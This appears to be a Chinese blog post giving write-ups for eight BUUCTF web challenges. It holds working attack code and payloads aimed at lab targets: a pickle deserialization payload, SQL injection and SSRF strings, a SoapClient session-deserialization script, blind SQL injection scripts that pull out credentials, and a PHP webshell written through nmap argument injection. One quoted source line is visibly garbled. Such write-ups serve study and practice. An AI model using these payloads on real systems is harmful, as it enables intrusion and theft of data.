BUUCTF平台 web writeup 第二弹

第一弹:http://eustiar.com/archives/413
本来应该是都写在那一篇里的,想了想这样显得我像是咸了很久,就新开了一篇来欺骗自己"我很勤奋"

1.Point System

靶机:http://web48.buuoj.cn/
这个题是今年半决赛东北赛区的一道题
之前我已经写过了,详情见这里

2.admin

靶机:http://web37.buuoj.cn

进去之后一篇空荡荡的,有注册和登录功能,注册一个账号,登陆进去

可以写posts,改密码
但是经过尝试发现写posts并没有什么用,写完并没有存储下来或者发送到哪
尝试登录是否存在注入,加单引号'后发现报错


这是处于debug模式下,注意每一项右边的第一个按钮可以调出python交互窗口,经过测试发现可以通过交互式命令行执行python语句

emmm,这是python2,改用commands库
直接grep爆搜找到flag,在index.html模板里。。

3.ikun

靶机:http://web44.buuoj.cn/
律师函警告!
注册账号,登录,在个人中心,有1000启动资金,查看首页

根据内容找lv6的号,写个脚本找

if __name__ == '__main__':
    for i in range(1, 1000):
        time.sleep(0.05)
        url = 'http://web44.buuoj.cn/shop?page={}'.format(i)
        res = requests.get(url)
        if 'lv6.png' in res.text:
            print(i)
            break

在第181页
购买时抓包,发现discount可以修改,改成0.00000001让我们买得起
跳转到

查看cookie,有个JWT
c-jwt-cracker爆破得到秘钥1Kun
伪造username为admin成功进入页面
f12发现源码备份,下载审计发现Admin.py存在反序列化漏洞

用以下脚本生成payload:

import os
import pickle
import urllib

class obj(object):
    def __reduce__(self):
        return (eval,("open('/flag.txt').read()",))
a = obj()
payload = pickle.dumps(a)
print(urllib.quote(payload))

作为become参数提交即可

4.fakebook

靶机:http://web23.buuoj.cn
进入后是这样一个界面,可以login和join(应该是注册的功能

习惯性的扫一下目录,发现robots.txt

得到user.php源码

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

猜测需要ssrf
先join一下,有个get参数no,习惯性的加个单引号发现报错,应该存在sql注入
尝试一番后发现存在很弱的过滤,有直接回显

而且根据报错信息,存在unserialize的使用,猜测存在反序列化
因为在mysql中,对字符串的直接查询会直接返回该结果,例如:

所以可以直接注入序列化的对象,用file协议读文件
payload:
no=-1%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:7:"Eustiar";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%20from%20users#
f12找到一串base64编码

解码得到flag

通过这种方式读了一下源码,发现过滤是真的很弱:

public function anti_sqli($no) {
		$patterns = "/union\Wselect|0x|hex/i";

		return preg_match($patterns, $no);
	}

也可以用两个小括号绕过

5.bestphp's revenge

靶机:http://web12.buuoj.cn
直接给了源码

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

同时扫目录发现flag.php

session_start(); 
echo 'only localhost can get flag!'; 
$flag = 'flag{*************************}'; 
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ 
	$_SESSION['flag'] = $flag; 
	}

思路很清晰,要利用两个call_user_func进行ssrf来读flag.php并写道session
这里利用了SoapClient类+session反序列化来形成ssrf

关于SoapClient,其实之前在N1CTF里有用到过(当时队里的zblee师傅还给我们讲过预期解,只不过当时听的迷迷糊糊的,而且听完就忘了,前几天才捡起来复现了一下),详情可以看这里,以及Soapclient一些讲解

关于session反序列化,详情可以看这一篇
php的序列化方式有三种:

如果一开始是以php_serialize方式存储,而解析时以php(默认)的方式进行,则会产生问题:
将序列化后的对象字符串前加一个|,例如

name='|O:4:"Noob":1:{s:4:"name";s:7:"Eustiar";}'

而反序列化时以php的方式,则会将|之后的部分进行反序列化,虽然最后会有一部分多余的字符";},但是反序列化会自动忽略后面多余的字符,所以可以成功反序列化
先给个解题脚本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : Eustiar
import requests
import re
url = "http://web12.buuoj.cn/"
payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
r = requests.session()
data = {'serialize_handler': 'php_serialize'}
res = r.post(url=url+'?f=session_start&name='+payload, data=data)
# print(res.text)
res = r.get(url)
# print(res.text)
data = {'b':'call_user_func'}
res = r.post(url=url+'?f=extract', data=data)
res = r.post(url=url+'?f=extract', data=data)#相当于刷新页面
sessionid = re.findall(r'string\(26\) "(.*?)"', res.text)
cookie = {"Cookie": "PHPSESSID=" + sessionid[0]}
res = r.get(url, headers=cookie)
print(res.text)

首先通过调用sesson_start改变php序列化方式为php_serialize,同时将我们构造的反序列化Soapclient提交进行存储
然后使用extract覆盖掉$b,触发Soapclient的__call方法来发送http请求,目标就是location属性
最后再次访问,提取其中的PHPSESSID,替换掉cookie访问即可获得flag

6.Easyweb

靶机:http://web66.buuoj.cn
源码:https://github.com/glzjin/CISCN_2019_Final_12_Day2_Web1
这是今年国赛总决赛第二天的题,我们队当时抽到这个题了,其实这个题挺简单的,但当时因为操作失误导致写上了错误的shell,重置了环境再做的(哎,白丢了不少分,被打穿了)
因为决赛的web是给源码的,所以无形之中降低了不少难度,现在分别以有/无源码的视角来做一下这个题
无源码:
首先进去是一个登录界面,尝试登录无果,扫一波目录发现robots.txt,提示*.php.bak,尝试后得到image.php.bak

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

错误地用了addslashes和str_replace,可以使用如下方式逃逸单引号

id=\0

然后在path中进行注入,可以通过时间盲注获得admin的账号密码:

def timesql():
    dic = string.digits + string.ascii_lowercase + string.ascii_uppercase + string.punctuation
    flag = ''
    length = 0
    for i in range(1,100):
        length = len(flag)
        for j in dic:
            time.sleep(0.05)
            url1 = "http://web66.buuoj.cn/image.php?path=%20or%20if(ascii(substring((select group_concat(username,password) from `users`),{},1))={},sleep(1),sleep(0))%23&id=\\0".format(i, ord(j))
            res = requests.get(url1)
            if res.elapsed.seconds >= 1:
                flag += j
                print(flag)
                break
        if length == len(flag):
            break

登陆后发现作为admin可以上传文件,随便上传一个文件后返回:

看样子可以通过文件名来写shell,尝试写一句话发现过滤了php关键字,使用不带php的一句话即可:

getflag:

有源码:
config.php中可以找到秘钥,直接通过cookie伪造为admin即可,无需盲注密码,后续与无源码相同

7.PyCalx

靶机:http://web13.buuoj.cn/cgi-bin/pycalx.py
直接给了源码:

#!/usr/bin/env python3
import cgi;
import sys
from html import escape

FLAG = open('/var/www/flag','r').read()

OK_200 = """Content-type: text/html

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
<center>
<title>PyCalx</title>
<h1>PyCalx</h1>
<form>
<input class="form-control col-md-4" type=text name=value1 placeholder='Value 1 (Example: 1  abc)' autofocus/>
<input class="form-control col-md-4" type=text name=op placeholder='Operator (Example: + - * ** / // == != )' />
<input class="form-control col-md-4" type=text name=value2 placeholder='Value 2 (Example: 1  abc)' />
<input class="form-control col-md-4 btn btn-success" type=submit value=EVAL />
</form>
<a href='?source=1'>Source</a>
</center>
"""

print(OK_200)
arguments = cgi.FieldStorage()

if 'source' in arguments:
    source = arguments['source'].value
else:
    source = 0

if source == '1':
    print('<pre>'+escape(str(open(__file__,'r').read()))+'</pre>')

if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:

    def get_value(val):
        val = str(val)[:64]
        if str(val).isdigit(): return int(val)
        blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
        if val == '' or  != []:
            print('<center>Invalid value</center>')
            sys.exit(0)
        return val

    def get_op(val):
        val = str(val)[:2]
        list_ops = ['+','-','/','*','=','!']
        if val == '' or val[0] not in list_ops:
            print('<center>Invalid op</center>')
            sys.exit(0)
        return val

    op = get_op(arguments['op'].value)
    value1 = get_value(arguments['value1'].value)
    value2 = get_value(arguments['value2'].value)

    if str(value1).isdigit() ^ str(value2).isdigit():
        print('<center>Types of the values don\'t match</center>')
        sys.exit(0)

    calc_eval = str(repr(value1)) + str(op) + str(repr(value2))

    print('<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>')
    print('>>>> print('+escape(calc_eval)+')')

    try:
        result = str(eval(calc_eval))
        if result.isdigit() or result == 'True' or result == 'False':
            print(result)
        else:
            print("Invalid") # Sorry we don't support output as a string due to security issue.
    except:
        print("Invalid")


    print('>>> </pre></div></div></div>')

读一下源码,可以提交value1,value2,op以及source(这里没用到)4个值,其中value最长为64,不能包含'(',')','[',']','\'','"'、op最长为2,只能以'+','-','/','*','=','!'开头、且value要么全是数字,要么全不是数字(通过isdigit判断)
flag已经存到FLAG变量中,只需要读取这个变量即可
因为op限定开头但没有限定第二个字符,所以可以采用这种方式逃逸单引号:
op=%2B%27
通过类似盲注的方式进行判断:

value1=a&op=%2B%27&value2=<FLAG%23

解题脚本:

import requests
import time
if __name__ == '__main__':
    dic = string.digits + string.ascii_lowercase + string.ascii_uppercase + '{' + '}' + '~'
    dic = sorted(dic)
    flag = ''
    for i in range(100):
        time.sleep(0.05)
        length = len(flag)
        for j in range(len(dic)):
            url = 'http://web13.buuoj.cn/cgi-bin/pycalx.py?value1={}&op=%2B%27&value2=%3CFLAG%23'
            res = requests.get(url.format(flag + dic[j]))
            if 'False' in res.text:
                flag += dic[j - 1]
                print(flag)
                break
        if length == len(flag):
            break

跑很久跑出flag(去掉字典中的大写字母可以加快速度):

8.Online Tool

直接给了源码

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

这里是由于同时使用了escapeshellarg和escapeshellcmd导致了单引号逃逸
这里看一下两者同时使用的结果:

<?php
$host = "hello'world";
echo $host;
echo '<br>';
$host = escapeshellarg($host);
echo $host;
echo '<br>';
$host = escapeshellcmd($host);
echo $host;
echo '<br>';
?>

结果是

hello'world
'hello'\''world'
'hello'\\''world\'

escapeshellarg会首先在单引号前加反斜线,然后将单引号分割的几部分都用单引号括起来
escapeshellcmd会将&#;`|*?~<>^()[]{}$\, \x0A 和 \xFF以及不配对的单/双引号转义
而如果使用两个单引号,放在首尾,例如

'hello world'

则会是如下结果:

'hello world'
''\''hello world'\'''
''\\''hello world'\\'''

hello world是可以由我们控制的部分,而nmap可以使用-oG参数将命令以及结果输出到文件(这里使用-oG是忽略中间的报错,题目应该是php5的环境,实测php7使用-oN也可以)

所以使用如下payload:

host=' <?php @eval($_GET["cmd"]);?> -oG eustiar.php '

成功写入shell,sandbox路径自动给出,cat flag 即可

第三弹:http://eustiar.com/archives/576

打赏作者

发表评论

电子邮件地址不会被公开。 必填项已用*标注